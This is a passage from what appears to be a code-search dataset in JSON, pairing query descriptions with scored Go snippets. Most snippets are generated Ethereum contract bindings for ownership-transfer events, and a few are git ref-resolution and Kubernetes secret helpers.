log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "a88d2b7e8024a65fafe0b92d8e9e0710", "score": "0.5634415", "text": "func (_Booking *BookingFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *BookingOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Booking.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(BookingOwnershipTransferred)\n\t\t\t\tif err := _Booking.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "f61d6a42930ff1d808fc74d8b1f53391", "score": "0.56329334", "text": "func (_Apr *AprFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *AprOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Apr.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(AprOwnershipTransferred)\n\t\t\t\tif err := _Apr.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "1905c6364d58060ba75aed69176fb81a", "score": "0.56299347", "text": "func (_Rules *RulesFilterer) WatchNodeRemoved(opts *bind.WatchOpts, sink chan<- *RulesNodeRemoved) (event.Subscription, error) {\n\n\tlogs, sub, err := _Rules.contract.WatchLogs(opts, \"NodeRemoved\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(RulesNodeRemoved)\n\t\t\t\tif err := _Rules.contract.UnpackLog(event, \"NodeRemoved\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "d968402f322c162588709cdfebd9b551", "score": "0.5618808", "text": "func (_SwapRouter *SwapRouterFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *SwapRouterOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _SwapRouter.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(SwapRouterOwnershipTransferred)\n\t\t\t\tif err := _SwapRouter.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "b9a71dc08c02bdf19b9f7350b8bd2c8f", "score": "0.5611341", "text": "func (_HoQuConfig *HoQuConfigTransactor) DeleteOwner(opts *bind.TransactOpts, i uint16) (*types.Transaction, error) {\n\treturn _HoQuConfig.contract.Transact(opts, \"deleteOwner\", i)\n}", "title": "" }, { "docid": "7e04857eb2c578403d0a615fe1712cd5", "score": "0.5599691", "text": "func (_GnosisSafe *GnosisSafeFilterer) FilterAddedOwner(opts *bind.FilterOpts) (*GnosisSafeAddedOwnerIterator, error) {\n\n\tlogs, sub, err := _GnosisSafe.contract.FilterLogs(opts, \"AddedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &GnosisSafeAddedOwnerIterator{contract: _GnosisSafe.contract, event: \"AddedOwner\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "ba76517b98f5ee1a8d43426039026a1f", "score": "0.559685", "text": "func (_GnosisSafe *GnosisSafeFilterer) ParseRemovedOwner(log types.Log) (*GnosisSafeRemovedOwner, error) {\n\tevent := new(GnosisSafeRemovedOwner)\n\tif err := _GnosisSafe.contract.UnpackLog(event, \"RemovedOwner\", log); err != nil {\n\t\treturn nil, err\n\t}\n\tevent.Raw = log\n\treturn event, nil\n}", "title": "" }, { "docid": "0d76c86139d5c57aba544b300176292f", "score": "0.55931467", "text": "func (_Rewards *RewardsFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *RewardsOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Rewards.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(RewardsOwnershipTransferred)\n\t\t\t\tif err := _Rewards.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "bb14ea8022a0a0cf00a8cb4822f61d63", "score": "0.55921006", "text": "func (_VehicleBooking *VehicleBookingFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *VehicleBookingOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _VehicleBooking.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(VehicleBookingOwnershipTransferred)\n\t\t\t\tif err := _VehicleBooking.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "2827c9a545d479d4f57b4ba82924ddbe", "score": "0.55826235", "text": "func (_Token *TokenFilterer) FilterOwnerUpdate(opts *bind.FilterOpts, _prevOwner []common.Address, _newOwner []common.Address) (*TokenOwnerUpdateIterator, error) {\n\n\tvar _prevOwnerRule []interface{}\n\tfor _, _prevOwnerItem := range _prevOwner {\n\t\t_prevOwnerRule = append(_prevOwnerRule, _prevOwnerItem)\n\t}\n\tvar _newOwnerRule []interface{}\n\tfor _, _newOwnerItem := range _newOwner {\n\t\t_newOwnerRule = append(_newOwnerRule, _newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Token.contract.FilterLogs(opts, \"OwnerUpdate\", _prevOwnerRule, _newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &TokenOwnerUpdateIterator{contract: _Token.contract, event: \"OwnerUpdate\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "0c0a9ecd01d998eb498fa0db08de33f5", "score": "0.556385", "text": "func RemoveSecretOwnerRef(ctx context.Context, client splcommon.ControllerClient, secretObjectName string, cr splcommon.MetaObject) (uint, error) {\n\tvar err error\n\tvar refCount uint = 0\n\n\tsecret, err := GetSecretByName(ctx, client, cr.GetNamespace(), cr.GetName(), secretObjectName)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\townerRef := secret.GetOwnerReferences()\n\tfor i := 0; i < len(ownerRef); i++ {\n\t\tif reflect.DeepEqual(ownerRef[i], splcommon.AsOwner(cr, false)) {\n\t\t\townerRef = append(ownerRef[:i], ownerRef[i+1:]...)\n\t\t\trefCount++\n\t\t}\n\t}\n\n\t// Update the modified owner reference list\n\tif refCount > 0 {\n\t\tsecret.SetOwnerReferences(ownerRef)\n\t\terr = UpdateResource(ctx, client, secret)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\treturn refCount, nil\n}", "title": "" }, { "docid": "dd8bb5ff1ce5c43c397879e2eb987ea5", "score": "0.55422837", "text": "func (_Bridge *BridgeFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *BridgeOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Bridge.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(BridgeOwnershipTransferred)\n\t\t\t\tif err := _Bridge.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "84739052cdd6fcd3ba10b3104ee01e8b", "score": "0.5540793", "text": "func (_AppRegistry *appRegistryEvents) FilterAppOwnerTransferred(opts *bind.FilterOpts, appId [][8]byte, oldOwner []common.Address) (ablbind.EventIterator, error) {\n\n\tvar appIdRule []interface{}\n\tfor _, appIdItem := range appId {\n\t\tappIdRule = append(appIdRule, appIdItem)\n\t}\n\n\tvar oldOwnerRule []interface{}\n\tfor _, oldOwnerItem := range oldOwner {\n\t\toldOwnerRule = append(oldOwnerRule, oldOwnerItem)\n\t}\n\n\tlogs, sub, err := _AppRegistry.contract.FilterLogs(opts, \"AppOwnerTransferred\", appIdRule, oldOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &AppRegistryAppOwnerTransferredIterator{contract: _AppRegistry.contract, event: \"AppOwnerTransferred\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "caa9fd9ac1abebf6137231e9d93c3c8e", "score": "0.55357957", "text": "func (_TKLockTime *TKLockTimeFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *TKLockTimeOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _TKLockTime.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(TKLockTimeOwnershipTransferred)\n\t\t\t\tif err := _TKLockTime.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "8d7bfe3795876b567fc135bd2477160b", "score": "0.5509166", "text": "func (_AccelerateNode *AccelerateNodeFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *AccelerateNodeOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _AccelerateNode.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(AccelerateNodeOwnershipTransferred)\n\t\t\t\tif err := _AccelerateNode.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "cadb14d19d8572dab625ea0347da862f", "score": "0.5507648", "text": "func (_Accounts *AccountsFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *AccountsOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Accounts.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(AccountsOwnershipTransferred)\n\t\t\t\tif err := _Accounts.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ffcdf9f74824700db91a050894f714e5", "score": "0.54811513", "text": "func (_OwnerManager *OwnerManagerFilterer) ParseRemovedOwner(log types.Log) (*OwnerManagerRemovedOwner, error) {\n\tevent := new(OwnerManagerRemovedOwner)\n\tif err := _OwnerManager.contract.UnpackLog(event, \"RemovedOwner\", log); err != nil {\n\t\treturn nil, err\n\t}\n\tevent.Raw = log\n\treturn event, nil\n}", "title": "" }, { "docid": "a5e2cb6fb531b95a143d2696b7e67516", "score": "0.547951", "text": "func (_HoQuConfig *HoQuConfigFilterer) FilterSystemOwnerChanged(opts *bind.FilterOpts, previousOwner []common.Address) (*HoQuConfigSystemOwnerChangedIterator, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.FilterLogs(opts, \"SystemOwnerChanged\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &HoQuConfigSystemOwnerChangedIterator{contract: _HoQuConfig.contract, event: \"SystemOwnerChanged\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "1641d95975d9705a72c6bbb7c7f27fa3", "score": "0.5429814", "text": "func (_ControllerRegistry *controllerRegistryEvents) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *ControllerRegistryOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _ControllerRegistry.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevt := new(ControllerRegistryOwnershipTransferred)\n\t\t\t\tif err := _ControllerRegistry.contract.UnpackLog(evt, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevt.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- evt:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "2151f3c81f99313d15e1f285a5a33e48", "score": "0.5427517", "text": "func (m *EventMutation) ClearOwner() {\n\tm.clearedowner = true\n}", "title": "" }, { "docid": "e259991af176e8733f6ab2237ae6bf10", "score": "0.5425155", "text": "func (_HoQuConfigI *HoQuConfigITransactorSession) DeleteOwner(i uint16) (*types.Transaction, error) {\n\treturn _HoQuConfigI.Contract.DeleteOwner(&_HoQuConfigI.TransactOpts, i)\n}", "title": "" } ]
040c086bba8e9dd10dba3e650431b756
RefBySymref looks for a symbolic ref within this repository with the given name. If the symbolic ref does not exist, an empty string and the error ErrRefNotFound are returned. If the symbolic ref does exist, but contains invalid data, then an empty string and the error ErrInvalidSymref are returned. If the symbolic ref points to something that does not look like a ref (i.e. does not start with "refs/"), then an empty string and the error ErrInvalidSymrefTarget are returned.
[ { "docid": "e95d230153ddae35af8c8c4ef1d09cdc", "score": "0.77746266", "text": "func (repo *Repository) RefBySymref(symrefName string) (string, error) {\n\tpath := filepath.Join(repo.Path(), symrefName)\n\n\tfile, err := os.Open(path)\n\tif os.IsNotExist(err) {\n\t\treturn \"\", ErrRefNotFound\n\t} else if err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer file.Close()\n\n\tsymref := &format.Symref{}\n\tif err := symref.Decode(file); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn symref.Target, nil\n}", "title": "" } ]
[ { "docid": "a2d25f8065aeba61ddd0cd0875746cd2", "score": "0.6282833", "text": "func (r *Repo) Ref(ref string) (res *Ref, err error) {\n\tr.load_refs()\n\tfor _, prefix := range []string{\"\", \"refs/heads/\", \"refs/tags/\", \"refs/remotes/\"} {\n\t\trefname := prefix + ref\n\t\tif res = r.refs[refname]; res != nil {\n\t\t\treturn res, nil\n\t\t}\n\t}\n\t// hmmm... it is not a symbolic ref. See if it is a raw ref.\n\tcmd, _, _ := r.Git(\"rev-parse\", \"-q\", \"--verify\", ref)\n\tif cmd.Run() == nil {\n\t\treturn &Ref{Path: ref, SHA: ref, r: r}, nil\n\t}\n\treturn nil, fmt.Errorf(\"No ref for %s\", ref)\n}", "title": "" }, { "docid": "a619da502445d9a3e01b01665449ba3a", "score": "0.54046106", "text": "func (repo *Repository) OpenRef(name string) (Ref, error) {\n\n\tif name == \"HEAD\" {\n\t\treturn repo.parseRef(\"HEAD\")\n\t}\n\n\tmatches := repo.listRefWithName(name)\n\n\t//first search in local heads\n\tvar locals []Ref\n\tfor _, v := range matches {\n\t\tif IsBranchRef(v) {\n\t\t\tif name == v.Fullname() {\n\t\t\t\treturn v, nil\n\t\t\t}\n\t\t\tlocals = append(locals, v)\n\t\t}\n\t}\n\n\t// if we find a single local match\n\t// we return it directly\n\tif len(locals) == 1 {\n\t\treturn locals[0], nil\n\t}\n\n\tswitch len(matches) {\n\tcase 0:\n\t\treturn nil, fmt.Errorf(\"git: ref matching %q not found\", name)\n\tcase 1:\n\t\treturn matches[0], nil\n\t}\n\treturn nil, fmt.Errorf(\"git: ambiguous ref name, multiple matches\")\n}", "title": "" }, { "docid": "7075ac4372a9571a73447587d1e5ee36", "score": "0.50403374", "text": "func (p *Patcher) ResolveSym(name string) (int32, error) {\n\ts, err := p.getDynsym(name, false)\n\tif err != nil {\n\t\treturn 0, fmt.Errorf(\"ResolveSym(%#v): %w\", name, err)\n\t}\n\treturn int32(s.Offset), nil\n}", "title": "" }, { "docid": "2763b1483a7bf6f9ba9fc8d151e030d1", "score": "0.5025389", "text": "func (o GitRepoSourcePtrOutput) Ref() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v *GitRepoSource) *string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Ref\n\t}).(pulumi.StringPtrOutput)\n}", "title": "" }, { "docid": "dd3f83fa4b362f0354cf8fc5c9d77b1c", "score": "0.50206554", "text": "func (s *GithubService) refSHA(refName string) (*sha, error) {\n\tref, _, refErr := s.Client.Git.GetRef(s.RepoOwner, s.RepoName, refName)\n\tif refErr != nil {\n\t\treturn nil, refErr\n\t}\n\trefSHA := sha(*ref.Object.SHA)\n\treturn &refSHA, nil\n}", "title": "" }, { "docid": "b461c52455f300142a8b795ad7e8a498", "score": "0.50130314", "text": "func ParseRef(uri, kind string) (name string, err error) {\n\tu, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"$ref failed to parse(%s): %w\", uri, err)\n\t}\n\n\tif len(u.Scheme) != 0 || len(u.Path) != 0 {\n\t\treturn \"\", fmt.Errorf(\"$ref cannot contain non-file-local references: %s\", uri)\n\t}\n\n\tif len(u.Fragment) == 0 {\n\t\treturn \"\", fmt.Errorf(\"$ref must contain a url fragment: %s\", uri)\n\t}\n\n\tsplits := strings.Split(u.Fragment, \"/\")\n\tif len(splits) != 3 {\n\t\treturn \"\", fmt.Errorf(\"$ref must contain a url in the form '#/components/TYPE/NAME' but got: %s\", uri)\n\t}\n\n\tif splits[0] != \"components\" {\n\t\treturn \"\", fmt.Errorf(\"$ref must start with '#/components' but got: %s\", uri)\n\t}\n\n\tswitch splits[1] {\n\tcase \"schemas\", \"responses\", \"parameters\", \"examples\", \"requestBodies\",\n\t\t\"headers\", \"securitySchemes\", \"links\", \"callbacks\":\n\t\treturn splits[2], nil\n\t}\n\n\treturn \"\", fmt.Errorf(\"$ref can only refer to types: schemas|responses|parameters|examples|requestBodies|headers|securitySchemes|links|callbacks, but got: %s\", splits[2])\n}", "title": "" }, { "docid": "85ee8873c873c5b8893fc5d3dde6ba31", "score": "0.49791515", "text": "func (p *PkgRef) Ref(name string) Ref {\n\tif p.Types == nil {\n\t\tp.pkg.endImport()\n\t}\n\treturn p.Types.Scope().Lookup(name)\n}", "title": "" }, { "docid": "c0ad3c4f5f9b3e9a29779a71294292e3", "score": "0.49190804", "text": "func (gp *GerritProject) Ref(ref string) GitHash {\n\treturn gp.ref[ref]\n}", "title": "" }, { "docid": 